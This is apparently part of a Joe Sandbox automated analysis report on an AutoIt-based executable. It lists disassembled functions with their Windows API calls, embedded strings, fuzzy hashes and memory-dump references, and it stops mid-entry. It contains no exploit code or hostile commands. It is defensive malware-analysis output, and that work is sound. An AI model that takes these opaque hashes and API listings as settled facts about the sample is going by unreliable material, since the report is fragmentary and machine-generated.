Function 00007FF7978E072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832370: ExtCreatePen.GDI32 ref: 00007FF7978323FF
Part of subcall function 00007FF797832370: SelectObject.GDI32 ref: 00007FF797832412
Part of subcall function 00007FF797832370: BeginPath.GDI32 ref: 00007FF79783242B
Part of subcall function 00007FF797832370: SelectObject.GDI32 ref: 00007FF797832452

MoveToEx.GDI32 ref: 00007FF7978E0771
LineTo.GDI32 ref: 00007FF7978E0783
EndPath.GDI32 ref: 00007FF7978E0795
StrokePath.GDI32 ref: 00007FF7978E07A5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: 637c14a182b3432ffb06dfed2d1756de86ab1220bd64cd1c7b2605cf4500692e
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: 4F019235A2869142E7207B29BC09B29AF60BF81BD4F980134DE5903BA1CF7DD4528B10

Function 00007FF79789D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF79789D4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF79789CC94), ref: 00007FF79789D509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF79789CC94), ref: 00007FF79789D513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF79789CC94), ref: 00007FF79789D524

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: 69156da9eaa4b706872e3c94928d2d18900ba5911e9fa59a9d1c9119760c1652
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: E6F06562A19502C2FB60BF71EC04B6877A0BF58FC5FC84034C90E82650EF7C99AAC320

Function 00007FF79789326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF79789326E
GetDC.USER32 ref: 00007FF79789327A
GetDeviceCaps.GDI32 ref: 00007FF7978932A4
ReleaseDC.USER32 ref: 00007FF7978932C5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: 10a82a6c9b13856367d914974c8211e79b4c6e18855422887272ee3549c4cd9f
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: 5DE01A20E0930286FA20BB72AC1CA38AA64AF48FD1F804434CD0E07B55DF7CA0568320

Function 00007FF797893287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF797893287
GetDC.USER32 ref: 00007FF797893293
GetDeviceCaps.GDI32 ref: 00007FF7978932A4
ReleaseDC.USER32 ref: 00007FF7978932C5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: 50091527acaf1dac54a0ddf5ace0d41c8b2e90a1cef734027a60f268c3ff9a9e
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: 4CE0BF60F0975286EA24FB71AC5CA38AA55AF49FD1F804434CD0E17B55DF7DA0568720

Function 00007FF7978A1D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF7978A1F50

Strings

Container, xrefs: 00007FF7978A1E83
AutoIt3GUI, xrefs: 00007FF7978A1E7C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: e1481fd2a8d0416b882597c007a0e4bba38b356b2fac937ea6ae7002b112dc91
Instruction ID: 4fdb5d92c3220b1895a09038be489c368dc4acd6e15057178bb786605fdd3a19
Opcode Fuzzy Hash: e1481fd2a8d0416b882597c007a0e4bba38b356b2fac937ea6ae7002b112dc91
Instruction Fuzzy Hash: 42912776604B8286DB24EF29E4406ADB7B4FB88B94F918036DF8D43764EF79D856C310

Function 00007FF79786D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79786D0EB

Strings

gfff, xrefs: 00007FF79786D216
e+000, xrefs: 00007FF79786D193

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 285eebacc8707a921e20bf4c91a50e0c5b4e0454809ba00be92207aa26f276b9
Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: C7512762B18BC156EB359B359940B69EE92FB81BD0F88D231C69847BD5DE2CE052C720

Function 00007FF79786A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79786A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF79785529A), ref: 00007FF79786A0E2

Strings

C:\Users\user\Desktop\file.exe, xrefs: 00007FF79786A0D0

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\file.exe
API String ID: 3307058713-1957095476
Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction ID: b9b01df6876019c258514e0928669051e06cfb8da105dea2e0b7f3a71cecfce3
Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
Instruction Fuzzy Hash: 8C41C076A08E46A9E724FF3198415B9ABA5FF45BD4B948031E90E47B45DF3CE4638320

Function 00007FF7978D9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

DestroyWindow.USER32 ref: 00007FF7978D9F43

Strings

static, xrefs: 00007FF7978D9E54

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$CreateDestroyMessageObjectSendStock
String ID: static
API String ID: 3467290483-2160076837
Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction ID: 48203c673263241ac1db62d764cfaeea5ecdf39706ed69c1a678470693eee6b5
Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
Instruction Fuzzy Hash: F4412E325086C2C6D670AF25E440BAEB7A1FB84791F504235EBE903A99DF3CD492CB50

Function 00007FF7978C5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978C61CC: WideCharToMultiByte.KERNEL32 ref: 00007FF7978C620C

inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7978C37FB), ref: 00007FF7978C5E4D
htons.WSOCK32(?,?,?,?,?,?,?,00007FF7978C37FB), ref: 00007FF7978C5EDB

Strings

255.255.255.255, xrefs: 00007FF7978C5E6A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 2620319c3ff5b6f33e90d7d8a3306f43cafe9a98b61cebff61261b881329dcf7
Instruction ID: 1da163f6d7ebc07d717bcc27a4c735f12ac5f11589f592499e4783d42e06de2c
Opcode Fuzzy Hash: 2620319c3ff5b6f33e90d7d8a3306f43cafe9a98b61cebff61261b881329dcf7
Instruction Fuzzy Hash: B531CD32A1875281EF20AB36E854A7CAB60FF54BD4F998532DA5E43391DE3CD5678320

Function 00007FF7978C03C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978C045A

Strings

AUTOITCALLVARIABLE%d, xrefs: 00007FF7978C044A
, $, xrefs: 00007FF7978C0495

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: 7f6e43a92c0acba8555e010e69358058dd97d89251a2d077eb91c839043e6aa2
Instruction ID: 32c00f25418fc893439a36068770f9d1d035d660efe6f3b28970d0624782b9a2
Opcode Fuzzy Hash: 7f6e43a92c0acba8555e010e69358058dd97d89251a2d077eb91c839043e6aa2
Instruction Fuzzy Hash: 0A316D72B08B0299EB20EB75E4519ECAB61FB457C4F844032DA0D17B55DF38E56BC350

Function 00007FF7978DB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SetWindowPos.USER32 ref: 00007FF7978DB31B

Strings

SysTabControl32, xrefs: 00007FF7978DB278
, xrefs: 00007FF7978DB2FE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: 4b08ff91003b18836ab118b9c601df15ff86c0835b21660893d535a527a01a93
Instruction ID: a142da03f300d5aa72825d7774707b4c2d538f01f38568da7a29ec7d79ac4966
Opcode Fuzzy Hash: 4b08ff91003b18836ab118b9c601df15ff86c0835b21660893d535a527a01a93
Instruction Fuzzy Hash: 0D3159325087C1CAE770DF25E444B5ABBA0F784BB4F544339EAA817AD8CB38D4928F10

Function 00007FF79786DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF79786DCA2
GetFileType.KERNEL32 ref: 00007FF79786DCB8

Strings

@, xrefs: 00007FF79786DCE3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: 4061d079c079c48f81a180cd37b8afb09a56c241b9e8922b471beed1de44e508
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: 6521E522A08E4681EF70AB359494538AA50FB857B4F685335D66E077D4CE3CD8A3C3B0

Function 00007FF7978DA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

GetWindowRect.USER32 ref: 00007FF7978DA18B
GetSysColor.USER32 ref: 00007FF7978DA1B2

Strings

static, xrefs: 00007FF7978DA10B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: ba00c6025d9a25d3650b33a2d97c1dcb233488cb799b672719ee79e316c66e3f
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: 50311B72A087818BD734DF29E444B5ABBA5F788790F504239DB9943B98DB3CE851CF10

Function 00007FF7978D9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978D994F
SendMessageW.USER32 ref: 00007FF7978D9963

Strings

Combobox, xrefs: 00007FF7978D9905

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 2751fdadd79cc3ffc02769d349f49088ee270364174e6e284d45ea2163805565
Instruction ID: 2c0e22ade9e883a540c134a27652e84d1452d6d93f206fd109b68aaf257c98aa
Opcode Fuzzy Hash: 2751fdadd79cc3ffc02769d349f49088ee270364174e6e284d45ea2163805565
Instruction Fuzzy Hash: 61312C32608781C6E770DF25B444B5AB7A5F785790F504235EAA903B99CB3DD856CF10

Function 00007FF7978D9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7978D9CB6
SendMessageW.USER32 ref: 00007FF7978D9CCA

Strings

edit, xrefs: 00007FF7978D9C24

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: f6e9529b43ae95a416a19a6d1389347e9f722c3ed05b946f3529baa4cdbdf8ce
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: 69311E36A08781CAE770DB25E444B5AB7A1FB847A0F544235EAAC43B98DB3CD856CF11

Function 00007FF79786FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF79786FEA2

Strings

", xrefs: 00007FF79786FE7B
pow, xrefs: 00007FF79786FE91

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: 6d0df52d52945d7d3ed94491845b13ab1e8166ad7d146a8cb03354844b89ca62
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 98216D76D1CA8583D370DF20E044B7AFEA0FBDA384F606325F2890A955CBBDD0929B10

Function 00007FF79789DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789DE7F

Strings

ComboBox, xrefs: 00007FF79789DE0B
ListBox, xrefs: 00007FF79789DE42

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b20666184da16acd2d6d3491877ae16e073837e1e892be99d2699d4247cfda1
Instruction ID: bc804b25ff9e40ae91cf600cc526f7e353fa3486e3d49a56c327c0da37f34ad2
Opcode Fuzzy Hash: 2b20666184da16acd2d6d3491877ae16e073837e1e892be99d2699d4247cfda1
Instruction Fuzzy Hash: B511AF32A1868191E624EB25D4404FDA761FB95BE0FC44231E9AC477DADE3CE527C720

Function 00007FF7978BE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF7978BE772
InternetSetOptionW.WININET ref: 00007FF7978BE7A4

Strings

<local>, xrefs: 00007FF7978BE749

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Internet$OpenOption
